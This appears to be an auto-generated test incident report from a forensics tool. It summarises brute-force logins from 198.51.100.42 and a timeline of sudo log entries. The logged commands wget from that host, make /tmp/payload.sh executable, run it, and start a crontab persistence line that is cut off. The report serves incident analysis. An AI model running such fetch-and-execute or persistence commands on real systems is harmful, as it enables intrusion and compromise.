

Security Investigation Report

A plain-English summary of this investigation.

Section 1 — Case Overview

Who and what this report is about

The reference number identifies this case in the online case file.

Item	Details
Reference number	case-93b5d274
Case title	test
Investigator	test
Report prepared	05 May 2026 at 14:12

Section 2 — Items We Collected

Files and logs saved for this case

'Sealed' means we recorded a digital fingerprint — the file was not changed after collection.

What was collected	When added	Status
d12f2eaa9f22_test_ransomware_timeline.log Fingerprint: bea9846e5b ... 86acf237	05 May 2026, 14:11	Sealed — file not changed since collection
24fe71fc6067_What_AI_Actually_Does_in_Cybers ecurity_Today.eml Fingerprint: ac927bd121 ... 22e49f6f	05 May 2026, 14:02	Sealed — file not changed since collection

Section 3 — Unusual Activity

Things the automated checks flagged

Starting point for review — not a final legal finding.

- We saw many failed sign-in attempts from 198.51.100.42 (about 7 tries).

Section 4 — Internet Addresses to Review

Addresses that appeared in suspicious activity

These IP addresses showed up in connection with the events above.

- 198.51.100.42

Section 5 — Story in Order

What happened, step by step

Events are sorted by time so readers can follow the sequence.

When	What we observed
Mar 15 02:00:01	Failed login attempt
Mar 15 02:00:02	Failed login attempt
Mar 15 02:00:03	Failed login attempt
Mar 15 02:00:05	Failed login attempt
Mar 15 02:00:07	Failed login attempt
Mar 15 02:00:09	Failed login attempt
Mar 15 02:01:00	Successful login
Mar 15 02:01:01	Session opened
Mar 15 02:03:00	15 02:03:00 server sudo[3100]: root : COMMAND=/usr/bin/wget http://198.51.100.42
Mar 15 02:03:30	15 02:03:30 server sudo[3101]: root : COMMAND=/bin/chmod +x /tmp/payload.sh
Mar 15 02:04:00	15 02:04:00 server sudo[3102]: root : COMMAND=/tmp/payload.sh
Mar 15 02:05:00	15 02:05:00 server sudo[3200]: root : COMMAND=/bin/bash -c "crontab -l { cat;
Mar 15 02:10:00	Failed login attempt
Mar 15 02:10:30	Successful login
Mar 15 02:11:00	Session opened
Mar 15 02:20:00	Session closed

Section 6 — Summary and Next Steps

Plain-language closing

Decisions, recommendations, or what should happen next.

Evidence collected and analyzed. Brute force login attempts detected from suspicious IPs. Investigation in progress.
